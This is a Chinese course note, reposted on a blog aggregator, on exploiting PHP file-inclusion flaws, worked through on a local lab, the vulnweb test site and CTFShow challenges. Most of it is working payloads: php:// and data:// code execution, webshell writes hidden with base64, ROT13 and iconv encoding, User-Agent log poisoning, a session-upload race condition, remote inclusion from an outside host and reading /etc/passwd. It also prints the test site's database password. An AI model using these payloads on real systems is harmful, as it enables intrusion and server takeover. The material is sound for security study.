050-WEB攻防-PHP应用文件包含LFIRFI伪协议编码算法无文件利用黑白盒

news2024/11/15 19:48:28

050-WEB攻防-PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒

#知识点：

1、文件包含-原理&分类&危害-LFI&RFI
2、文件包含-利用-黑白盒&无文件&伪协议

演示案例：

➢文件包含-原理&分类&利用&修复
➢黑盒利用-VULWEB-有无包含文件
➢白盒利用-CTFSHOW-伪协议玩法

Untitled

Untitled

#文件包含-原理&分类&利用&修复

1、原理

程序开发人员通常会把可重复使用的函数写到单个文件中，在使用某些函数时，
直接调用此文件，而无须再次编写，这种调用文件的过程一般被称为文件包含。
在包含文件的过程中，如果文件能进行控制，则存储文件包含漏洞

文件包含 包含的文件就被当做当前脚本语言去代码执行了

漏洞原因：
1、使用文件包含函数
2、包含的文件可控

漏洞简单复现：

  1. 创建include.php文件，代码**include($_GET['file']);：使用include函数来包$_GET['file']，这是危险的做法，因为用户可以通过修改URL参数传递恶意文件路径，导致安全漏洞。**

  2. 创建2.txt，代码内容<?php phpinfo();?>

  3. 访问对应文件路径，并传递参数http://192.168.137.1:84/include.php?file=2.txt

  4. 相当于include('2.txt');

    Untitled

漏洞分类：

本地包含-Local File Include-LFI
远程包含-Remote File Include-RFI
差异原因：代码过滤和环境配置文件开关决定

  1. 找到对应的小皮PHP设置中的远程包含并开启或者在对应==网址服务的PHP版本下找到php.ini文件，并将allow_url_include=Off改为On即可==

  2. 通过远程服务，创建file.txt内容为<?php phpinfo();?> ，并使用远程包含，将对应文件地址替换为远程创建的文件的ip访问地址即可

    Untitled

    Untitled

Untitled

Untitled

2、白盒审计：（CTFSHOW）

白盒发现：
1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等

PHP：include、require、include_once、require_once等
include在包含的过程中如果出现错误，会抛出一个警告，程序继续正常运行
require函数出现错误的时候，会直接报错并退出程序的执行
Java：java.io.File、java.io.FileReader等
ASP.NET：System.IO.FileStream、System.IO.StreamReader等

3、黑盒分析：

黑盒发现：主要观察参数传递的数据和文件名是否对应
URL中有path、dir、file、pag、page、archive、p、eng、语言文件等相关字眼

4、利用

本地利用思路：

1、配合文件上传（上传一个文件 文件写有我们的恶意代码）
2、无文件包含日志
3、无文件包含SESSION
4、无文件支持伪协议利用

php://input与data://都需要开启allow_url_include才能使用

Untitled

参考：https://blog.csdn.net/unexpectedthing/article/details/121276653

文件读取：

  1. file:///d:/1.txt，读取d盘下的1.txt文件内容（绝对路径）
  2. php://filter/read=convert.base64-encode/resource=1.php
    读取名为1.php的文件**（当前网址存放源码目录下），并将其内容以base64编码的形式返回。（相对路径）**
    1. PD9waHAgcGhwaW5mbygpOz8+通过解码后是<?php phpinfo();?>
  3. http://192.168.137.1:84/include.php?file=php://filter/read=convert.base64-encode/resource=…/…/…/1.txt
    还可以进行跨目录访问
file:///etc/passwd
这个示例尝试读取系统中的/etc/passwd文件。在类Unix系统上，这是包含用户帐户信息的文件。

php://filter/read=convert.base64-encode/resource=phpinfo.php
这个示例尝试读取名为 phpinfo.php 的文件，并将其内容以base64编码的形式返回。

Untitled

Untitled

Untitled

文件写入：

  1. http://192.168.137.1:84/include.php?file=php://input在Post data中写入<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>成功写入文件并可以访问执行
  2. http://192.168.137.1:84/include.php?file=php://filter/write=convert.base64-encode/resource=phpinfo.php** 在Post data中写入content=131成功写入文件并可以访问执行
    1. **file_put_contents($_GET['file'],$_POST['content']); 使用该方式执行文件写入，必须要在代码中有这个才可以**
    2. $_GET['file']: 通过GET请求传递的**file**参数，用于指定要写入内容的文件路径。这可能包含相对或绝对路径，具体取决于如何使用该代码
    3. $_POST['content']: 通过POST请求传递的**content**参数，用于指定要写入到文件中的内容。这是用户提供的数据，可以是任何字符串。
    4. 该代码的主要目的是将通过POST请求传递的内容写入指定的文件。
php://filter/write=convert.base64-encode/resource=phpinfo.php
这个示例尝试将base64编码的内容写入名为 phpinfo.php 的文件中。

php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
这个示例通过php://input伪协议，尝试通过POST请求将一个PHP脚本写入名为 shell.php 的文件中。
该脚本是一个简单的 PHP Webshell，允许通过URL参数执行任意代码

Untitled

Untitled

代码执行：

  1. http://192.168.137.1:84/include.php**?file=php://input** 在Post data中写入<?php phpinfo();?>

  2. <[http://192.168.137.1:84/include.php?file=data://text/plain,<?php](http://192.168.137.1:84/include.php?file=data://text/plain,%3C?php)> phpinfo();?> 使用data代码执行，直接在data后面跟上想要执行的代码即可

  3. http://192.168.137.1:84/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B

    Untitled

Untitled

Untitled

php://input POST:<?php phpinfo();?>
这个示例通过php://input伪协议，尝试通过POST请求执行 phpinfo() 函数。

data://text/plain,<?php phpinfo();?>
这个示例尝试通过 data:// 伪协议执行 phpinfo() 函数。

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
这个示例使用 data:// 伪协议，通过base64编码的方式执行 phpinfo() 函数。

远程利用思路：

直接搭建一个可访问的远程URL包含文件

  1. 找到对应的小皮PHP设置中的远程包含并开启或者在对应==网址服务的PHP版本下找到php.ini文件，并将allow_url_include=Off改为On即可==

  2. 通过远程服务，创建file.txt内容为<?php eval($_POST["pass"]);?> ，并使用远程包含，将对应文件地址替换为远程创建的文件的ip访问地址即可

  3. 通过哥斯拉连接后门，成功获取权限

    Untitled

    Untitled

Untitled

5、修复见网上参考方案

#黑盒利用-VULWEB-有无包含文件

http://testphp.vulnweb.com/showimage.php?file=index.php

  1. 发现数据包存在文件包含和替换的关键词?file=showimage.php

  2. 访问该页面，并尝试抓取数据包，替换file 后的文件名如：index.php

  3. 发现回显出index.php源码，暴露出数据库配置文件database_connect.php

  4. 将文件再次替换为==数据库配置文件 ，并发送数据包，发现得到数据库隐私数据库名和密码等信息==

    **<?PHP
	$connection = mysql_connect('127.0.0.1', 'acuart', 'trustno1')
		or die('Website is out of order. Please visit back later. Thank you for understanding.');**
		
	mysql_select_db('acuart', $connection)
		or die('Website is out of order. Please visit back later. Thank you for understanding.');
?>

    Untitled

    Untitled

    Untitled

#白盒利用-CTFSHOW-伪协议玩法

https://ctf.show/challenges

  1. 打开官网，选择对应的题目web入门

  2. 选择78题，启动靶场

    Untitled

78-php&http协议

  1. 代码给出include文件包含的关键词
  2. 由于是无文件上传，所以使用无文件支持伪协议利用
  3. 两种方式：
    1. 第一种直接通过文件读取**（相对路径）php://filter/read=convert.base64-encode/resource=flag.php读取名为flag.php的文件（当前网址存放源码目录下）**，并将其内容以base64编码的形式返回，并通过解密拿到flag。
    2. 第二种：使用文件执行
      1. ?file=data://text/plain,<?php system('ls');?> 可以获取当前目录文件发现有一个flag.php
      2. ?file=data://text/plain,<?php system('tac flag.php');?> 即可读取flag.php的中的内容。
        1. **system函数执行tac命令，该命令用于反向输出文件内容（以行为单位）。在这里，它尝试反向输出flag.php文件的内容。如果flag.php**文件存在并可读，那么该文件的内容将被反向显示。

Untitled

Untitled

Untitled

Untitled

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php
payload: ?file=php://input post:<?php system('tac flag.php');?>
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

79-data&http协议

Untitled

  1. 代码给出include文件包含的关键词
  2. 由于是无文件上传，所以使用无文件支持伪协议利用
  3. 发现对与文件名做了php关键词过滤
  4. 在PHP中，<?= ... ?> 是短标签（short tags）的一种形式，用于简洁地输出内容，等同于 <?php echo ... ?>。而 <?php ... ?> 是标准的PHP起始和结束标记。
  5. 两种方式：
    1. 将文件执行中，直接去掉php关键词，依旧可以正常执行
      1. ?file=data://text/plain,**<?=system('ls');?>** 可以获取当前目录文件发现有一个flag.php
      2. ?file=data://text/plain,**<?=system('tac flag*');?>** 即可读取flag.php的中的内容。成功获取到flag
    2. 使用文件执行，将数据流协议（data://）和base64编码的方式，将PHP代码嵌入URL中
      1. data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
      2. 解码为：<?php system('tac flag.php'); ?>

payload: ?file=data://text/plain,<?=system('tac flag.*');?>
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==
payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

Untitled

Untitled

Untitled

Untitled

Untitled

80 81-日志包含

Untitled

1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
分析需文件名及带有php关键字放弃
故利用日志记录UA信息，UA带入代码
包含：/var/log/nginx/access.log

  1. 代码给出include文件包含的关键词

  2. 由于是无文件上传，所以使用无文件支持伪协议利用

  3. 发现对与文件名做了php关键词和data关键词过滤

  4. 两种方式：

    1. 第一种，使用文件执行PHP://input，并使用大小写绕过其对php的过滤

      1. **?file=PHP://input POST data：<?=system('ls');?>**中写上对应的去掉PHP关键词php语句即可

      2. ?file=PHP://input POST data：<?=system('tac fl0g.*');?>中写上对应的去掉PHP关键词php语句，和文件匹配的后缀，更改为*号

      3. 成功拿到flag

        Untitled

        Untitled

    2. 第二种使用==日志记录文件包含，利用日志记录UA信息，UA带入代码==

      1. 使用文件读取：**file:///var/log/nginx/access.log ，读取对应的日志文件内容（绝对路径），成功读取
      2. 通过抓包，抓取到数据包，发送至repeater，并尝试修改UA头中的内容，修改成功，于是尝试在UA头中写入恶意代码：
        1. User-Agent: 222222222<?php=system('ls')?>并发送数据包，成功写入==，并被解析fl0g.php index.php==
        2. User-Agent: 333333333<?php system('tac fl0g.php')?>并发送数据包，成功写入，并被解析$flag="ctfshow{56017f9c-6037-4f27-bd84-ed6bffd417fa}

    Untitled

    Untitled

    Untitled

Untitled

Untitled

82-86-SESSION包含

自定义session名字，条件竞争访问session文件，触发创建新文件

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含

1.简单来说，上面这个选项开启以后，上传文件，我们能够POST请求查看上传进度
2.我们在session中写入我们要执行的代码
3.用户可以自己定义Session ID，比如在Cookie里设置PHPSESSID=flag，PHP将会在服务器上创建一个文件：**/tmp/sess_flag**，我们能够命名'sess_'后面的名字
4.之后要执行就要包含这个session文件
5.默认情况下，session.upload_progress.cleanup是开启的，一旦读取了所有POST数据，就会清除进度信息
6.于是我们需要条件竞争来读取文件，所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码，在文件上传中很常见

Untitled

保以下配置项在 php.ini 文件中已启用：

session.upload_progress.enabled = On

使用 PHP_SESSION_UPLOAD_PROGRESS 时，通常会在上传表单中添加一个隐藏字段，将这个会话变量的值传递给服务器，以便服务器能够跟踪上传的进度。在你提供的HTML代码中，就有一个用于设置 PHP_SESSION_UPLOAD_PROGRESS 值的隐藏字段。

https://www.cnblogs.com/lnterpreter/p/14086164.html

https://www.cnblogs.com/echoDetected/p/13976405.html

  1. 在本地创建文件上传代码如下，并将==上传URL更改为对应的靶场网址==

    <!DOCTYPE html>
<html>
<body>
<form action="[http://xxxx.ctf.show/](http://xxxx.ctf.show/)" method="POST" enctype="multipart/form-data">
**<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" />**
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

    Untitled

  2. 运行创建的网址，并随意上传文件，通过burp抓包，并加入Cookie: PHPSESSID=wusuowei，自定义Session ID

    Untitled

  3. 由于session.upload_progress.cleanup是开启的==，一旦读取了所有POST数据，就会清除进度信息==于是我们需要条件竞争来读取文件，所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码。

    1. 将上传文件的数据包发送至Intruder，选择Clear$后Playloads→Playload type:Null payloads , Payload Options →Continue indefinitely==（无限发送上传文件数据包）==
    2. 将访问上传文件的请求数据包抓取并发送至Intruder，选择Clear$后Playloads→Playload type:Null payloads , Payload Options →Continue indefinitely==（无限发送访问请求数据包）==
      1. http://8dc5c2cc-397c-46d6-a28d-3b202ca37b6a.challenge.ctf.show/?file=/tmp/sess_wusuowei

    Untitled

    Untitled

    Untitled

Untitled

Untitled

87-php://filter/write&加密编码（文件写入，二次解密）

Untitled

  • 正常来讲，浏览器会默认执行URL解码一次，但是提供代码中又加入了一次urldecode($file)，二次解码，造成之前的过滤失效

  1. 利用base64:

    1. url编码2次：php://filter/write=convert.base64-decode/resource=123.php

    2. Post data:写入==content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg====

      1. 需要补全数位aa

      Untitled

      Untitled

    3. 解码为<?php @eval($_POST[a]);?>（木马设置的密码为：a）

    4. 通过访问，创建木马文件123.php，http://e57a2227-b187-459c-8172-ed70850fee7c.challenge.ctf.show/123.php

    5. 并通过输入Post data：写入a=system(’ls’);（通过木马密码进行替换操作）

    6. 并通过输入Post data：写入a=system(‘tac fl0g.php’);

      Untitled

      Untitled

  2. 利用凯撒13：

    1. url编码2次：php://filter/write=string.rot13/resource=2.php

    2. Post data:写入==content=<?cuc riny($_CBFG[1]);?>==

      1. ROT13解密：<?php eval($_POST[1]);?>（木马设置的密码为：1）

      Untitled

      Untitled

    3. 通过访问，创建木马文件2.php，http://e57a2227-b187-459c-8172-ed70850fee7c.challenge.ctf.show/2.php

    4. 并通过输入Post data：写入1=system(’ls’);（通过木马密码进行替换操作）

    5. 并通过输入Post data：写入1=system(‘tac fl0g.php’);

    Untitled

    Untitled

88-data&base64协议

Untitled

  1. 过滤PHP，各种符号，php代码编码写出无符号（+和=）base64值
  2. Payload：file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk
  3. 解密：<?php system('tac *.php');echo 123;?>ad**（为了去掉+和=）**
    1. 直接写<?php system('tac *.php');?>，会出现被过滤的号==

Untitled

117-php://filter/write&新的算法

Untitled

将众多编码形式做了过滤包括 http, https, utf, zlib, data, input, rot13, base64, string, log, sess，不区分大小写（i 标志）。

convert.iconv.：一种过滤器，和使用iconv()函数处理流数据有等同作用

参考文章：

文件包含漏洞+php伪协议_文件包含漏洞伪协议利用-CSDN博客

Untitled

<?php
/* 将字符串 '<?php eval($_POST[a]);?> 从 UCS-2LE 编码转换为 UCS-2BE 编码*/
$result = iconv("UCS-2LE", "UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
//经过一次反转:?<hp pvela$(P_SO[T]a;)>?

// 将经过一次编码转换后的字符串再次从 UCS-2LE 编码转换为 UCS-2BE 编码
echo "经过第二次反转:".iconv("UCS-2LE", "UCS-2BE", $result);
//经过第二次反转:<?php eval($_POST[a]);?>
?>
  1. Payload：file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
  2. Post data 中写入：**contents=**?<hp pvela$(P_SO[T]a;)>?
  3. 解码为：<?php eval($_POST[a]);?>（木马设置的密码为：a）
  4. 通过访问，创建木马文件a.php，http://e57a2227-b187-459c-8172-ed70850fee7c.challenge.ctf.show/123.php
  5. 并通过输入Post data：写入a=system(’ls’);（通过木马密码进行替换操作）
  6. 并通过输入Post data：写入a=system(‘tac flag.php’);

Untitled

Untitled

Untitled

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/1500085.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

C语言从入门到精通 第十一章（文件操作）

C语言从入门到精通 第十一章（文件操作）

写在前面&#xff1a; 本系列专栏主要介绍C语言的相关知识&#xff0c;思路以下面的参考链接教程为主&#xff0c;大部分笔记也出自该教程。除了参考下面的链接教程以外&#xff0c;笔者还参考了其它的一些C语言教材&#xff0c;笔者认为重要的部分大多都会用粗体标注&#xf…
阅读更多...
C++ Qt开发：QFileSystemModel文件管理组件

C++ Qt开发：QFileSystemModel文件管理组件

Qt 是一个跨平台C图形界面开发库&#xff0c;利用Qt可以快速开发跨平台窗体应用程序&#xff0c;在Qt中我们可以通过拖拽的方式将不同组件放到指定的位置&#xff0c;实现图形化开发极大的方便了开发效率&#xff0c;本章将重点介绍如何运用QFileSystemModel组件实现文件管理器…
阅读更多...
HelpLook 和 confluence：创建知识库我选HelpLook

HelpLook 和 confluence：创建知识库我选HelpLook

企业要想快速创建知识库&#xff0c;最好的方法就是利用好工具。而市面上创建知识库的平台多而繁杂&#xff0c;无法在最快时间内判断哪一个是最适合企业解决问题的。HelpLook和confluence功能相似&#xff0c;多数人无法判断并做出最佳选择&#xff0c;今天就跟着LookLook同学…
阅读更多...
1688商品详情数据丨工厂详情数据丨店铺详情数据

1688商品详情数据丨工厂详情数据丨店铺详情数据

1688商品详情数据、工厂详情数据以及店铺详情数据是商家在阿里巴巴1688平台上进行运营和决策的重要参考。这些数据涵盖了商品的详细信息、工厂的生产能力和信誉情况&#xff0c;以及店铺的经营状况和口碑评价&#xff0c;为商家提供了全方位的市场洞察和竞争优势。 请求示例&a…
阅读更多...
Flutter学习9 - http 中 get/post 请求示例

Flutter学习9 - http 中 get/post 请求示例

1、配置 http pubspec.yaml dependencies:http: ^0.13.4flutter:sdk: flutterhttp 库最新插件版本查看&#xff1a;https://pub.dev/packages/http不一定要用最新版本 http&#xff0c;要使用项目所能支持的版本 .dart import package:http/http.dart as http;2、示例 &a…
阅读更多...
基于UDP实现直播间聊天的功能

基于UDP实现直播间聊天的功能

需求&#xff1a;软件划分为用户客户端和主播服务端两个软件client.c和server.c 用户客户端负责&#xff1a;1.接收用户的昵称2.接收用户输入的信息&#xff0c;能够将信息发送给服务端3.接收服务端回复的数据信息,并完成显示主播服务端负责&#xff1a;1.对所有加入直播间的用…
阅读更多...
基于uniapp cli项目开发的老项目，运行报错path.replace is not a function

基于uniapp cli项目开发的老项目，运行报错path.replace is not a function

项目&#xff1a;基于uniapp cli的微信小程序老项目 问题&#xff1a;git拉取代码&#xff0c;npm安装包时就报错&#xff1b; cnpm能安装成功包&#xff0c;运行报错 三种方法尝试解决&#xff1a; 更改代码&#xff0c;typeof pathstring的话&#xff0c;才走path.replace…
阅读更多...
mysql的语法总结2

mysql的语法总结2

命令&#xff1a; mysql -u 用户名 -p mysql登录 命令&#xff1a;create database u1 创建数据库u1 查询数据库 使用数据库u1 创建表department 查询表department ALTER TABLE 表名 操作类型&#xff1b; 操作类型可以有以下的操作&#xff1a; 添加列&#x…
阅读更多...
【算法 高级数据结构】树状数组：一种高效的数据结构（一）

【算法 高级数据结构】树状数组：一种高效的数据结构（一）

&#x1f680;个人主页&#xff1a;为梦而生~ 关注我一起学习吧&#xff01; &#x1f4a1;专栏&#xff1a;算法题、 基础算法~赶紧来学算法吧 &#x1f4a1;往期推荐&#xff1a; 【算法基础 & 数学】快速幂求逆元&#xff08;逆元、扩展欧几里得定理、小费马定理&#x…
阅读更多...
Baumer工业相机堡盟工业相机如何通过NEOAPI SDK实现双快门采集两张曝光时间非常短的图像（C#）

Baumer工业相机堡盟工业相机如何通过NEOAPI SDK实现双快门采集两张曝光时间非常短的图像（C#）

Baumer工业相机堡盟工业相机如何通过NEOAPI SDK实现双快门采集两张曝光时间非常短的图像&#xff08;C#&#xff09; Baumer工业相机Baumer工业相机定序器功能的技术背景Baumer工业相机通过NEOAPI SDK使用定序器功能预期的相机动作技术限制定序器的工作原理 Baumer工业相机通过…
阅读更多...
20个Python函数程序实例

20个Python函数程序实例

前面介绍的函数太简单了&#xff1a; 以下是 20 个不同的 Python 函数实例 下面深入一点点&#xff1a; 以下是20个稍微深入一点的&#xff0c;使用Python语言定义并调用函数的示例程序&#xff1a; 20个函数实例 简单函数调用 def greet():print("Hello!")greet…
阅读更多...
WPF Border控件 基本使用

WPF Border控件 基本使用

Border 基本使用 1单线效果 代码&#xff1a; <Border Grid.Row"0" BorderThickness"0,0,0,1" BorderBrush"Red" /> 说明&#xff1a; BorderThickness"0,0,0,1" 可以分别设置四条边&#xff0c;顺序是&#xff1a;左 上 右…
阅读更多...
【微信小程序】基本语法

【微信小程序】基本语法

目录 一、列表渲染&#xff08;包括wx:for改变默认&#xff09; 二、事件冒泡和事件捕获 三、生命周期 一、列表渲染&#xff08;包括wx:for改变默认&#xff09; 1、列表渲染(wx-for、block 改变默认wx:for item等) <view> {{msg}} </view> //渲染跟普通vu…
阅读更多...
云计算项目十：ES集群安装｜部署kibana

云计算项目十：ES集群安装｜部署kibana

ES集群安装 部署ES集群&#xff0c;用于ELK日志分析平台的构建 es-0001 主机更改 /etc/hosts [rootes-0001 ~]# vim /etc/hosts 192.168.1.71 es-0001 192.168.1.72 es-0002 192.168.1.73 es-0003 192.168.1.74 kibana 192.168.1.75 logstash # 将最新的/etc/hosts配置文件更…
阅读更多...
Python绘图-12地理数据可视化

Python绘图-12地理数据可视化

Matplotlib 自 带 4 类别 地理投影&#xff1a; Aitoff, Hammer, Mollweide 及 Lambert 投影&#xff0c;可以 结 合以下四 张 不同 的 图 了解四 种 不同投影 区别 。 12.1Aitoff投影 12.1.1图像呈现 12.1.2绘图代码 import numpy as np # 导入numpy库&#xff0c;用于…
阅读更多...
2024年大语言模型的微调

2024年大语言模型的微调

一个LLM的生命周期包含多个步骤&#xff0c;下面将讨论这个周期中最活跃、最密集的部分之一 -- fine-tuning(微调)过程。 LLM的生命周期 下面展示了LLM的生命周期&#xff1a; 愿景和范围&#xff1a;首先需要定义项目的愿景&#xff0c;你想让你的LLM作为一个更加通用的工具…
阅读更多...
双体系Java学习之关键字，标识符以及命名规范

双体系Java学习之关键字，标识符以及命名规范

刚开学&#xff0c;然后之前的课程暂时停在了多态&#xff0c;接下来开始跟着学校的步伐重新开始学一下&#xff0c;谢谢&#xff01;&#xff01;&#xff01; 之前的课程也会找个时间补起来的&#xff0c;谢谢大家&#xff01; 关键字 标识符 命名规范
阅读更多...
STM 32 HAL库 内部FLash读写调试的问题

STM 32 HAL库 内部FLash读写调试的问题

问题1&#xff1a;STM32G0 系列 256KB内部FLash大小&#xff0c;无法读写 分析&#xff1a;从STM32F103C8 移植过来的Flash操作代码&#xff0c;发现无法进行读写&#xff0c;返回 HAL_ERROR 错误&#xff0c;随后&#xff0c;检查在写之前是否擦除成功&#xff0c;检查代码发…
阅读更多...
Oracle VM VirtualBox 安装完Ubuntu系统后一直提示安装Ubuntu

Oracle VM VirtualBox 安装完Ubuntu系统后一直提示安装Ubuntu

是因为存储设置有问题&#xff0c;把Ubuntu镜像添加进去了,移除后重启虚拟机就不会提示了 以下是配置的移除后的界面。
阅读更多...
羊大师揭秘，女性喝羊奶有什么好处

羊大师揭秘，女性喝羊奶有什么好处

羊大师揭秘&#xff0c;女性喝羊奶有什么好处 女性喝羊奶有多种好处。首先&#xff0c;羊奶富含钙元素&#xff0c;有助于预防女性体内缺钙和老年女性骨质疏松&#xff0c;从而增强骨骼密度。其次&#xff0c;羊奶中的色氨酸和烟酸等成分有助于促进睡眠&#xff0c;改善睡眠质…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023